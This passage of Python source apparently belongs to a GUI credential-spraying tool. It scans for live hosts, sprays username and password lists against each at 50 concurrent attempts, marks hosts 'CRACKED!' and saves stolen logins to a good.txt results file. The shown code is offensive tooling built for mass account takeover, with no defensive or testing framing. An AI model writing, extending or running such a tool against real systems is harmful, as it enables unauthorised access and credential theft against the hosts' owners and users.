live_callback=on_live_host
)
)
# Wait for scan to finish (spray tasks run alongside)
loop.run_until_complete(scan_task)
# Wait for remaining spray tasks to finish
if spray_tasks:
self._log(f"\U0001f511 Waiting for {len(spray_tasks)} spray jobs to finish...", "system")
loop.run_until_complete(asyncio.gather(*spray_tasks, return_exceptions=True))
self._scan_done()
except Exception as e:
self._log(f"\u274c ERROR: {e}", "error")
import traceback
for line in traceback.format_exc().split('\n'):
if line.strip():
self._log(f" {line}", "error")
self._scan_done()
async def _spray_host(self, loop, ip, port, usernames, passwords):
"""Spray ALL passwords against a single host."""
try:
hits = await spray_single_host(
ip, port,
usernames=usernames,
passwords=passwords,
max_concurrent=50,
timeout=5.0,
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw)
)
if not hits:
self._update_host_status(ip, port, "\u274c No hit")
self._log(f"\u274c {ip}:{port} \u2014 no valid creds found", "info")
print(_c("\033[93m", f" [{time.strftime('%H:%M:%S')}] \u274c {ip}:{port} \u2014 no hits"))
else:
self._update_host_status(ip, port, "\u2705 CRACKED!",
hits[0][2], hits[0][3])
self.stats.hits = len(self.hits)
except Exception as e:
self._log(f"Spray error on {ip}:{port}: {e}", "error")
def _on_hit_found(self, ip, port, user, pwd):
"""Called immediately when a credential hit is found."""
ts = time.strftime("%H:%M:%S")
self.hits.append((ip, port, user, pwd))
self.stats.hits = len(self.hits)
# GUI updates must happen on main thread
self.root.after(0, lambda i=ip, p=port, u=user, pw=pwd, t=ts:
self.hit_tree.insert("", 0, values=(i, str(p), u, pw, t)))
self._write_good(ip, port, user, pwd)
def _write_good(self, ip: str, port: int, user: str, pwd: str):
good_path = os.path.join(RESULTS_DIR, "good.txt")
with open(good_path, 'a') as f:
f.write(f"{user}:{pwd}@{ip}:{port}\n")
def _scan_done(self):
self.scanning = False
self.stats.phase = "done"
self.root.after(0, lambda: self.start_btn.config(state="normal"))
self.root.after(0, lambda: self.stop_btn.config(state="disabled"))
self._log("\u25a0 SCAN COMPLETE", "scan")
print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] \u25a0 SCAN COMPLETE"))
print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] Live: {self.stats.live} | Hits: {self.stats.hits}"))
print(_c("\033[96m", " \u2500" * 55))
def _on_close(self):
self.scanning = False
self.root.destroy()
def run(self):
self.root.mainloop()